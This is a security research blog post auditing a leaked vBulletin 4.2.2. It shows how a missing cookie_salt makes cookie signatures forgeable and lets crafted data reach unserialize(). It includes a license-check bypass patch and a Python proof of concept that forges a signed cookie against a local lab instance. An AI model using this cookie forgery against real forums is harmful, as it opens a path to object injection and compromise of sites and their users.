A few weeks ago I had the chance to follow a talk presented by @cfreal_ where he presents a 0day in the latest version of vBulletin. It made me want to look at the source code but it is not free, so I found on GitHub a leak of an old version.

Well, the sources seem to be old and I think that in the meantime the paradigm must have changed but nobody seems to have found any vulnerability related to deserialization on this version. Let’s have a look at this version and maybe it will make me want to pay for the latest one.

Installation

We will have to create a small setup to audit the code, so our environment will be:

  • Apache/2.4.10 (Debian) PHP/5.4.45 OpenSSL/1.0.1t
  • PHP 5.4.45
  • MySQL Server 5.5.5-10.3.36-MariaDB-1:10.3.36+maria~ubu2004

alt text

URL: https://github.com/LibraUIT/vb-422-forum/blob/master/includes/config.php.new
File: includes/config.php.new

<?php
/*======================================================================*\
|| #################################################################### ||
|| # vBulletin 4.2.2
|| # ---------------------------------------------------------------- # ||
|| # All PHP code in this file is �2000-2013 vBulletin Solutions Inc. # ||
|| # This file may not be redistributed in whole or significant part. # ||
|| # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # ||
|| # http://www.vbulletin.com | http://www.vbulletin.com/license.html # ||
|| #################################################################### ||
\*======================================================================*/

/*-------------------------------------------------------*\
| ****** NOTE REGARDING THE VARIABLES IN THIS FILE ****** |
+---------------------------------------------------------+
| If you get any errors while attempting to connect to    |
| MySQL, you will need to email your webhost because we   |
| cannot tell you the correct values for the variables    |
| in this file.                                           |
\*-------------------------------------------------------*/

	//	****** DATABASE TYPE ******
	//	This is the type of the database server on which your vBulletin database will be located.
	//	Valid options are mysql and mysqli, for slave support add _slave.  Try to use mysqli if you are using PHP 5 and MySQL 4.1+
	// for slave options just append _slave to your preferred database type.
$config['Database']['dbtype'] = 'mysql';

	//	****** DATABASE NAME ******
	//	This is the name of the database where your vBulletin will be located.
	//	This must be created by your webhost.
$config['Database']['dbname'] = 'forum';

	//	****** TABLE PREFIX ******
	//	Prefix that your vBulletin tables have in the database.
$config['Database']['tableprefix'] = '';

	//	****** TECHNICAL EMAIL ADDRESS ******
	//	If any database errors occur, they will be emailed to the address specified here.
	//	Leave this blank to not send any emails when there is a database error.
$config['Database']['technicalemail'] = 'dbmaster@example.com';

	//	****** FORCE EMPTY SQL MODE ******
	// New versions of MySQL (4.1+) have introduced some behaviors that are
	// incompatible with vBulletin. Setting this value to "true" disables those
	// behaviors. You only need to modify this value if vBulletin recommends it.
$config['Database']['force_sql_mode'] = false;



	//	****** MASTER DATABASE SERVER NAME AND PORT ******
	//	This is the hostname or IP address and port of the database server.
	//	If you are unsure of what to put here, leave the default values.
	//
	//	Note: If you are using IIS 7+ and MySQL is on the same machine, you
	//	need to use 127.0.0.1 instead of localhost
$config['MasterServer']['servername'] = 'localhost';
$config['MasterServer']['port'] = 3306;

	//	****** MASTER DATABASE USERNAME & PASSWORD ******
	//	This is the username and password you use to access MySQL.
	//	These must be obtained through your webhost.
$config['MasterServer']['username'] = 'root';
$config['MasterServer']['password'] = '';

	//	****** MASTER DATABASE PERSISTENT CONNECTIONS ******
	//	This option allows you to turn persistent connections to MySQL on or off.
	//	The difference in performance is negligible for all but the largest boards.
	//	If you are unsure what this should be, leave it off. (0 = off; 1 = on)
$config['MasterServer']['usepconnect'] = 0;



	//	****** SLAVE DATABASE CONFIGURATION ******
	//	If you have multiple database backends, this is the information for your slave
	//	server. If you are not 100% sure you need to fill in this information,
	//	do not change any of the values here.
$config['SlaveServer']['servername'] = '';
$config['SlaveServer']['port'] = 3306;
$config['SlaveServer']['username'] = '';
$config['SlaveServer']['password'] = '';
$config['SlaveServer']['usepconnect'] = 0;



	//	****** PATH TO ADMIN & MODERATOR CONTROL PANELS ******
	//	This setting allows you to change the name of the folders that the admin and
	//	moderator control panels reside in. You may wish to do this for security purposes.
	//	Please note that if you change the name of the directory here, you will still need
	//	to manually change the name of the directory on the server.
$config['Misc']['admincpdir'] = 'admincp';
$config['Misc']['modcpdir'] = 'modcp';

	//	Prefix that all vBulletin cookies will have
	//	Keep this short and only use numbers and letters, i.e. 1-9 and a-Z
$config['Misc']['cookieprefix'] = 'bb';

	//	******** FULL PATH TO FORUMS DIRECTORY ******
	//	On a few systems it may be necessary to input the full path to your forums directory
	//	for vBulletin to function normally. You can ignore this setting unless vBulletin
	//	tells you to fill this in. Do not include a trailing slash!
	//	Example Unix:
	//	  $config['Misc']['forumpath'] = '/home/users/public_html/forums';
	//	Example Win32:
	//	  $config['Misc']['forumpath'] = 'c:\program files\apache group\apache\htdocs\vb3';
$config['Misc']['forumpath'] = '';



	//	****** USERS WITH ADMIN LOG VIEWING PERMISSIONS ******
	//	The users specified here will be allowed to view the admin log in the control panel.
	//	Users must be specified by *ID number* here. To obtain a user's ID number,
	//	view their profile via the control panel. If this is a new installation, leave
	//	the first user created will have a user ID of 1. Seperate each userid with a comma.
$config['SpecialUsers']['canviewadminlog'] = '1';

	//	****** USERS WITH ADMIN LOG PRUNING PERMISSIONS ******
	//	The users specified here will be allowed to remove ("prune") entries from the admin
	//	log. See the above entry for more information on the format.
$config['SpecialUsers']['canpruneadminlog'] = '1';

	//	****** USERS WITH QUERY RUNNING PERMISSIONS ******
	//	The users specified here will be allowed to run queries from the control panel.
	//	See the above entries for more information on the format.
	//	Please note that the ability to run queries is quite powerful. You may wish
	//	to remove all user IDs from this list for security reasons.
$config['SpecialUsers']['canrunqueries'] = '';

	//	****** UNDELETABLE / UNALTERABLE USERS ******
	//	The users specified here will not be deletable or alterable from the control panel by any users.
	//	To specify more than one user, separate userids with commas.
$config['SpecialUsers']['undeletableusers'] = '';

	//	****** SUPER ADMINISTRATORS ******
	//	The users specified below will have permission to access the administrator permissions
	//	page, which controls the permissions of other administrators
$config['SpecialUsers']['superadministrators'] = '1';

	// ****** DATASTORE CACHE CONFIGURATION *****
	// Here you can configure different methods for caching datastore items.
	// vB_Datastore_Filecache  - to use includes/datastore/datastore_cache.php
	// vB_Datastore_APC - to use APC
	// vB_Datastore_XCache - to use XCache
	// vB_Datastore_Memcached - to use a Memcache server, more configuration below
// $config['Datastore']['class'] = 'vB_Datastore_Filecache';

	// ******** DATASTORE PREFIX ******
	// If you are using a PHP Caching system (APC, XCache, eAccelerator) with more
	// than one set of forums installed on your host, you *may* need to use a prefix
	// so that they do not try to use the same variable within the cache.
	// This works in a similar manner to the database table prefix.
// $config['Datastore']['prefix'] = '';

	// It is also necessary to specify the hostname or IP address and the port the server is listening on
/*
$config['Datastore']['class'] = 'vB_Datastore_Memcached';
$i = 0;
// First Server
$i++;
$config['Misc']['memcacheserver'][$i]		= '127.0.0.1';
$config['Misc']['memcacheport'][$i]			= 11211;
$config['Misc']['memcachepersistent'][$i]	= true;
$config['Misc']['memcacheweight'][$i]		= 1;
$config['Misc']['memcachetimeout'][$i]		= 1;
$config['Misc']['memcacheretry_interval'][$i] = 15;
*/

// ****** The following options are only needed in special cases ******

	//	****** MySQLI OPTIONS *****
	// When using MySQL 4.1+, MySQLi should be used to connect to the database.
	// If you need to set the default connection charset because your database
	// is using a charset other than latin1, you can set the charset here.
	// If you don't set the charset to be the same as your database, you
	// may receive collation errors.  Ignore this setting unless you
	// are sure you need to use it.
// $config['Mysqli']['charset'] = 'utf8';

	//	Optionally, PHP can be instructed to set connection parameters by reading from the
	//	file named in 'ini_file'. Please use a full path to the file.
	//	Example:
	//	$config['Mysqli']['ini_file'] = 'c:\program files\MySQL\MySQL Server 4.1\my.ini';
$config['Mysqli']['ini_file'] = '';

// Image Processing Options
	// Images that exceed either dimension below will not be resized by vBulletin. If you need to resize larger images, alter these settings.
$config['Misc']['maxwidth'] = 2592;
$config['Misc']['maxheight'] = 1944;


/* #### Reverse Proxy IP ####
If your use a system where the main IP address passed to vBulletin is the address of a proxy server
and the actual 'real' ip address is passed in another http header then you enter the details here */

/* Enter your known [trusted] proxy servers here. You can list multiple trusted IPs separated by a comma.*/
//$config['Misc']['proxyiplist'] = '127.0.0.1, 192.168.1.6';

/* If the real IP is passed in a http header variable other than HTTP_X_FORWARDED_FOR, then you can set the name here; */
//$config['Misc']['proxyipheader'] = 'HTTP_X_FORWARDED_FOR';

/*======================================================================*\
|| ####################################################################
|| # Downloaded
|| # CVS: $RCSfile$ - $Revision: 62099 $
|| ####################################################################
\*======================================================================*/

This file is important because its content (or to be more precise the absence of a certain value) will be crucial.

alt text

Since I didn’t buy a license we will have to patch the license check function.

File: install/includes/class_upgrade_ajax.php


...

	/**
	* Stuff to setup specific to Ajax upgrading - executes after upgrade has been established
	*
	* @param  string $script Added for PHP 5.4 strict standards compliance
	*/
	protected function init($script = '')
	{
		parent::init();
		$this->custnumber = (strlen('d17db8f702378e318576c5925cc87470') == 32) ? 'd17db8f702378e318576c5925cc87470' : md5(strtoupper('d17db8f702378e318576c5925cc87470'));
        /*
         * [Patch]: Bypass Customer Number checks at time of installation
         */
        $this->custnumber = "a68c7b41f873e90566acec7c22f89824";

		$this->registry->input->clean_array_gpc('p', array(
			'ajax'   => TYPE_BOOL,
			'jsfail' => TYPE_BOOL,
		));

...

Ok, so now we have a properly installed environment, we can start looking for bugs.

The bug

As explained in the title, it is a vulnerability related to deserialization. The developers have almost done their job well but the function to sign cookies and make sure they can’t be tampered with is not perfect and you will understand why.

Here is the vulnerable code:

File: includes/functions.php


...

/**
* Returns the value for an array stored in a cookie
*
* @param	string	Name of the cookie
* @param	mixed	ID of the data within the cookie
*
* @return	mixed
*/
function fetch_bbarray_cookie($cookiename, $id)
{
	global $vbulletin;

	$cookie_name = COOKIE_PREFIX . $cookiename; // name of cookie variable
	$cache_name = 'bb_cache_' . $cookiename; // name of cache variable
	global $$cache_name; // internal array for cacheing purposes

	$cookie =& $vbulletin->input->clean_gpc('c', $cookie_name, TYPE_STR);
	$cache =  &$$cache_name;
	if ($cookie != '' AND !isset($cache))
	{
		$cache = @unserialize(convert_bbarray_cookie($cookie));
	}

	if (isset($cache))
	{
		return empty($cache["$id"]) ? null : $cache["$id"];
	}

}

...

Let’s add some debug without changing the way the code works.

File: includes/functions.php


...

function fetch_bbarray_cookie($cookiename, $id)
{
    /*
     * [Patch]: Let's try to reach the unserialize() sink.
     */
    $coiffeur_debug_handler = fopen("/tmp/coiffeur_debug_log", "a+");
    $coiffeur_debug_message = "[DEBUG][" . __FILE__ . "][" . __FUNCTION__ . "] Hit from URL: http://" . $_SERVER[HTTP_HOST].$_SERVER[REQUEST_URI] . "\n";
    fwrite($coiffeur_debug_handler, $coiffeur_debug_message);

    global $vbulletin;

...

Function fetch_bbarray_cookie() calls function convert_bbarray_cookie() before making a call to unserialize().

File: includes/functions.php


...

/**
* Replaces all those none safe characters so we dont waste space in array cookie values with URL entities
*
* @param	string	Cookie array
* @param	string	Direction ('get' or 'set')
*
* @return	array
*/
function convert_bbarray_cookie($cookie, $dir = 'get')
{
	if ($dir == 'set')
	{
		$cookie = str_replace(array('"', ':', ';'), array('.', '-', '_'), $cookie);
		// prefix cookie with 32 character hash
		$cookie = sign_client_string($cookie);
	}
	else
	{
		if (($cookie = verify_client_string($cookie)) !== false)
		{
			$cookie = str_replace(array('.', '-', '_'), array('"', ':', ';'), $cookie);
		}
		else
		{
			$cookie = '';
		}
	}
	return $cookie;
}

...

So here we see that we enter the second part of the if condition because $dir equals "get" by default and consequently the function verify_client_string() is called.

File: includes/functions.php


...

/**
* Verifies a string return from a client that it has been unaltered
*
* @param	string	String from the client to be verified
*
* @return	string|boolean	String without the verification hash or false on failure
*/
function verify_client_string($string, $extra_entropy = '')
{
	if (substr($string, 0, 4) == 'B64:')
	{
		$firstpart = substr($string, 4, 40);
		$return = substr($string, 44);
		$decode = true;
	}
	else
	{
		$firstpart = substr($string, 0, 40);
		$return = substr($string, 40);
		$decode = false;
	}

	if (sha1($return . sha1(COOKIE_SALT) . $extra_entropy) === $firstpart)
	{
		return ($decode ? vb_base64_decode($return) : $return);
	}

	return false;
}

...

This function allows to separate the signature (the first 40 characters of the string) which is $firstpart from the serialized cookie $return. Then the signature is computed on the server side to check its integrity:


...

	if (sha1($return . sha1(COOKIE_SALT) . $extra_entropy) === $firstpart)
	{
		return ($decode ? vb_base64_decode($return) : $return);
	}

...

$extra_entropy being by default an empty string ($extra_entropy = ''), the only value we don’t know is COOKIE_SALT.

Which is defined like this:

File: includes/functions.php


...

define('COOKIE_SALT', $vbulletin->config['Misc']['cookie_salt']);

...

Unfortunately for developers $vbulletin->config['Misc']['cookie_salt'] is not defined in the default configuration file, but then why didn’t they notice it?

I think they didn’t notice it for the following reason:

alt text

So in the end, it still gives us the equivalent of a salt unfortunately, this salt is known by the attacker, which makes the signature of any cookie guessable.

To conclude we can say that:


...

	if (sha1($return . sha1(COOKIE_SALT) . $extra_entropy) === $firstpart)
	{
		return ($decode ? vb_base64_decode($return) : $return);
	}

...

Is equivalent to:


...

	if (sha1($return . "da39a3ee5e6b4b0d3255bfef95601890afd80709") === $firstpart)
	{
		return ($decode ? vb_base64_decode($return) : $return);
	}

...

So we can write the following python script to exploit the bug:

import hashlib
import requests


# This payload 'O:3:"PDO":0:{}' is not unserializable.
# php > unserialize('O:3:"PDO":0:{}');
# Fatal error: Uncaught exception 'PDOException' with message 'You cannot serialize or unserialize PDO instances' ...
PAYLOAD = "O:3:\"PDO\":0:{}"


def hash_digest(data):    
    hash_object = hashlib.sha1(data.encode())
    hash_digest = hash_object.hexdigest()
    return hash_digest


def vb_sign_client_string(data):
    cookie_salt = ""
    extra_entropy = ""
    return hash_digest(data + hash_digest(cookie_salt) + extra_entropy)


def convert_bbarray_cookie(data):
    return data.replace("\"", ".").replace(":", "-").replace(";", "_")


def main():
    base_url = "http://127.0.0.1/Projects/vb/"
    new_url = f"{base_url}forum.php"


    payload = convert_bbarray_cookie(PAYLOAD)
    sign = vb_sign_client_string(payload) 
    cookie = f"bb_forum_view={sign + payload}"

    headers = {
        "Cookie": cookie
    }

    r = requests.get(new_url, headers=headers, verify=False, proxies={"http":"http://127.0.0.1:8181"})
    print(r.text)

if __name__ == "__main__":
    main()

Here is a small video of the POC: